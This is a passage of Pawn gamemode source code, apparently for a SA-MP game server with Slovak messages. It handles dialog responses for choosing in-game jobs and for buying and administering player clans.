                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team11)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=11;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                switch(random(3))
                {
                    case 0: { SetPlayerSkin(playerid,280); Player[playerid][Skin]=280; }
                    case 1: { SetPlayerSkin(playerid,281); Player[playerid][Skin]=281; }
                    case 2: { SetPlayerSkin(playerid,284); Player[playerid][Skin]=284; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team12)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/mission~w~ misia pre povolanie", 5500);
                Player[playerid][Team]=12;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,247);
                Player[playerid][Skin]=247;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team13)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/mission~w~ misia pre povolanie", 5500);
                Player[playerid][Team]=13;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(2);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,27); Player[playerid][Skin]=27; }
                    case 1: { SetPlayerSkin(playerid,260); Player[playerid][Skin]=260; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team14)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/heal [ID]~w~ uzdravenie hraca za 2500$", 5500);
                Player[playerid][Team]=14;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(2);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,274); Player[playerid][Skin]=274; }
                    case 1: { SetPlayerSkin(playerid,275); Player[playerid][Skin]=275; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team15)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/repair [ID]~w~ opravenie hracovho vizidla za 3000$~n~~y~/fuel [ID]~w~ natankuje hracovi benzin za 5000$", 5500);
                Player[playerid][Team]=15;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,50);
                Player[playerid][Skin]=50;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team16)
        {
            if(response == 1)
            {
                Player[playerid][Team]=16;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,287);
                Player[playerid][Skin]=287;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team17)
        {
            if(response == 1)
            {
                Player[playerid][Team]=17;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,277);
                Player[playerid][Skin]=277;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team18)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/news [TEXT]~w~ novinka~n~~y~/sanews~w~ zive vysielanie v Online TV na notebooku.", 5500);
                Player[playerid][Team]=18;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,295);
                Player[playerid][Skin]=295;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team19)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=19;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,283);
                Player[playerid][Skin]=283;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team20)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=20;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(3))
                {
                    case 0: skinid=173;
                    case 1: skinid=174;
                    case 2: skinid=175;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team21)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/news [TEXT]~w~ novinka~n~~y~/sanews~w~ zive vysielanie v Online TV na notebooku.", 5500);
                Player[playerid][Team]=21;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,295);
                Player[playerid][Skin]=295;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team22)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=22;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(2))
                {
                    case 0: skinid=281;
                    case 1: skinid=284;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team23)
        {
            if(response == 1)
            {
                Player[playerid][Team]=23;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,279);
                Player[playerid][Skin]=279;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team24)
        {
            if(response == 1)
            {
                Player[playerid][Team]=24;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,287);
                Player[playerid][Skin]=287;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team25)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=25;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                SetPlayerSkin(playerid, 286);
                Player[playerid][Skin] = 286;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team26)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=26;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(2))
                {
                    case 0: skinid=111;
                    case 1: skinid=112;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team27)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/mission~w~ misia pre povolanie", 5500);
                Player[playerid][Team]=27;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                SetPlayerSkin(playerid, 260);
                Player[playerid][Skin] = 260;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team28)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=28;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(3))
                {
                    case 0: skinid=121;
                    case 1: skinid=122;
                    case 2: skinid=123;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }

        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////

        else if(dialogid == Dialog_ClanMenuF)
        {
            if(response == 1)
            {
                Player[playerid][IPIP] = false;

                new clanid = Player[playerid][ClanID];

                if(listitem == 0)
                {
                    SetPlayerPos(playerid, Clan[clanid][cpiX], Clan[clanid][cpiY], Clan[clanid][cpiZ]);
                    SetPlayerInterior(playerid, Clan[clanid][cIntID]);
                    SetPlayerVirtualWorld(playerid, Clan[clanid][cVWID]);
                }

                if(listitem == 1)
                {
                    if(Player[playerid][ClanP] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemožeš mať viac než 2 clany alebo byť v clanu keď si clan kupuješ !");
                    else if(GetPlayerACMoney(playerid) < 1000000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na zakupenie clanu potrebuješ 1 000 000$ !");
                    else if(Player[playerid][Hours] < 80) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si si mohol kupiť clan potrebuješ mať odohraných aspoň 80 hodin !");
                    else if(Player[playerid][Respect] < 30) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si si mohol kupiť clan potrebuješ mať minimálne 30 respektu !");
                    else
                    {
                        Player[playerid][ClanP] = clanid;
                        Player[playerid][ClanRank] = 0;
                        Player[playerid][Team] = 99;

                        GivePlayerACMoney(playerid, -1000000);

                        Clan[clanid][State] = 1;
                        Clan[clanid][Players] = 1;

                        new cway[64];
                        format(cway,64, "SL/Server/Clans/Clan%d.cfg", clanid);

                        dini_IntSet(cway, "State", 1);
                        dini_IntSet(cway, "Players", 1);

                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        dini_Set(cway, "Majitel", Name);

                        dini_IntSet(cway, "P0_Plat", 0);
                        dini_Set   (cway, "P0_Hodnost", "Majitel clanu");
                        dini_Set   (cway, "P0_Name", Name);

                        Delete3DTextLabel(Clan[clanid][cText3D]);

                        new c3Dstring[150];
                        format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway, "Name"), dini_Get(cway, "Majitel"), Clan[clanid][Bank]);

                        Clan[clanid][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[clanid][cpeX], Clan[clanid][cpeY], Clan[clanid][cpeZ], 50, 0);

                        SendClientMessage(playerid, COLOR_BLUE, "Kupil si si clan !");
                    }
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 2000, 0, "i", playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanMenuS)
        {
            if(response == 1)
            {
                new cway[64];
                format(cway,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                if(listitem == 0)
                {
                    Player[playerid][IPIP] = false;

                    SetPlayerPos(playerid, Clan[Player[playerid][ClanID]][cpiX], Clan[Player[playerid][ClanID]][cpiY], Clan[Player[playerid][ClanID]][cpiZ]);
                    SetPlayerInterior(playerid, Clan[Player[playerid][ClanID]][cIntID]);
                    SetPlayerVirtualWorld(playerid, Clan[Player[playerid][ClanID]][cVWID]);
                }

                if(listitem == 1)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanPlayers,DIALOG_STYLE_LIST,"Zoznam členov", "Online\nVšetci", "OK", "Cancel");
                }

                if(listitem == 2)
                {
                    new strText[256];
                    new veh[5][32];

                    for(new v=0; v<5; v++)
                    {
                        new V_id[16];
                        format(V_id,16, "V%d_id", v);

                        if(dini_Int(cway, V_id) == 0) veh[v]="{606060}- empty -";
                        else format(veh[v], 32, "{ffffff}%s", VehicleName[dini_Int(cway, V_id) - 400]);
                    }

                         if(Clan[Player[playerid][ClanID]][Vehicles] == 1) format(strText,256, "%s", veh[0]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 2) format(strText,256, "%s\n%s", veh[0], veh[1]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 3) format(strText,256, "%s\n%s\n%s", veh[0], veh[1], veh[2]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 4) format(strText,256, "%s\n%s\n%s\n%s", veh[0], veh[1], veh[2], veh[3]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 5) format(strText,256, "%s\n%s\n%s\n%s\n%s", veh[0], veh[1], veh[2], veh[3], veh[4]);

                    ShowPlayerDialog(playerid, Dialog_ClanVehicles, DIALOG_STYLE_LIST, "Vozidlá", strText, "OK", "Cancel");
                }

                if(listitem == 3)
                {
                    new t1[128];
                    format(t1, 128, "{ffff50}Aktuálny stav konta clanu: %d$\nZadaj sumu ktoru chceš vložiť na účet clanu:", Clan[Player[playerid][ClanID]][Bank]);

                    ShowPlayerDialog(playerid,Dialog_ClanSetMoney,DIALOG_STYLE_INPUT,"Vložiť peniaze na účet clanu", t1, "OK", "Cancel");
                }

                if(listitem == 4)
                {
                         if(Player[playerid][ClanID] != Player[playerid][ClanP]) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Nie si členom tohto clanu !", "OK", "");
                    else if(Player[playerid][ClanRank] != 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Nie si majitel tohto clanu !", "OK", "");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_Menu,DIALOG_STYLE_LIST,"Administracia Clanu","Správa členov\nPrizvať hráčov do clanu\nSpráva vozidel\nSpráva zbraní\nZmeniť meno clanu\nZmeniť farbu clanu\nVybrať peniaze z účtu\nUpgrady\nPredať clan (75% z ceny)","OK","Cancel");
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 2000, 0, "i", playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_Menu)
        {
            if(response == 1)
            {
                new cway15f6[64];
                format(cway15f6,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                if(listitem == 0)
                {
                    new cway7f07[64];
                    format(cway7f07,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                    new pN5[12][24];
                    new cPlayersString8[256];

                    for(new p=0; p < Clan[Player[playerid][ClanP]][Players]; p++)
                    {
                        new P_Name[16];
                        format(P_Name,16, "P%d_Name", p);

                        format(pN5[p], 24, "%s", dini_Get(cway7f07, P_Name));
                    }

                         if(Clan[Player[playerid][ClanP]][Players] == 1)  format(cPlayersString8,256, "{ffff00}%s", pN5[0]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 2)  format(cPlayersString8,256, "{ffff00}%s\n%s", pN5[0],pN5[1]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 3)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s", pN5[0],pN5[1],pN5[2]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 4)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 5)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 6)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 7)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 8)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 9)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 10) format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8],pN5[9]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 11) format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8],pN5[9],pN5[10]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 12) format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8],pN5[9],pN5[10],pN5[11]);

                    ShowPlayerDialog(playerid,Dialog_ClanA_PlayersSettings,DIALOG_STYLE_LIST, "Správa hráčov", cPlayersString8, "Nastavenie", "Cancel");
                }

                if(listitem == 1)
                {
                         if(Clan[Player[playerid][ClanP]][Players] >= 12) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Clan má už maximálny počet členov !", "OK", "");
                    else if(Clan[Player[playerid][ClanP]][Players] >= Clan[Player[playerid][ClanP]][MaxPlayers]) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Clan má už maximálny počet členov !\nPokiaľ chceš mať v clanu viac hráčov, musíš si zvýšit respekt !", "OK", "");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_InvitePlayer,DIALOG_STYLE_INPUT,"Prizvať hráčov do clanu","{ffff50}Zadaj ID hráča:","Prizvať","Cancel");
                }

                if(listitem == 2)
                {
                    new strText1[256];
                    new veh1[5][32];

                    for(new v=0; v<5; v++)
                    {
                        new V_id[16];
                        format(V_id,16, "V%d_id", v);

                        if(dini_Int(cway, V_id) == 0) veh1[v]="{606060}- empty -";
                        else format(veh1[v], 32, "{ffffff}%s", VehicleName[dini_Int(cway15f6, V_id) - 400]);
                    }

                         if(Clan[Player[playerid][ClanP]][Vehicles] == 1) format(strText1,256, "%s", veh1[0]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 2) format(strText1,256, "%s\n%s", veh1[0], veh1[1]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 3) format(strText1,256, "%s\n%s\n%s", veh1[0], veh1[1], veh1[2]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 4) format(strText1,256, "%s\n%s\n%s\n%s", veh1[0], veh1[1], veh1[2], veh1[3]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 5) format(strText1,256, "%s\n%s\n%s\n%s\n%s", veh1[0], veh1[1], veh1[2], veh1[3], veh1[4]);

                    ShowPlayerDialog(playerid, Dialog_ClanA_Vehicles, DIALOG_STYLE_LIST, "Správa vozidiel", strText1, "OK", "Cancel");
                }

                if(listitem == 3)
                {
                     new w[8][32];
                     new a[8][16];

                     for(new x=0; x<8; x++)
                     {
                         new W_id[16];
                         format(W_id,16, "W%d_id", x);
                         new W_ammo[16];
                         format(W_ammo,16, "W%d_ammo", x);

                         if(dini_Int(cway, W_id) == 0)
                        {
                            format(w[x],32, "{090909}- empty -");
                            format(a[x],16, " ");
                        }
                         else
                        {
                            format(w[x],32, "{ffffff}%s", WeaponName(dini_Int(cway15f6, W_id)));
                            format(a[x],16, " (%dks)", dini_Int(cway15f6, W_ammo));
                        }
                     }

                          if(dini_Int(cway, "WeaponSlots") == 3) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2]);
                     else if(dini_Int(cway, "WeaponSlots") == 4) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3]);
                     else if(dini_Int(cway, "WeaponSlots") == 5) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4]);
                     else if(dini_Int(cway, "WeaponSlots") == 6) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5]);
                     else if(dini_Int(cway, "WeaponSlots") == 7) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2],w[3],a[3],w[4],a[4],w[5],a[5],w[6],a[6]);
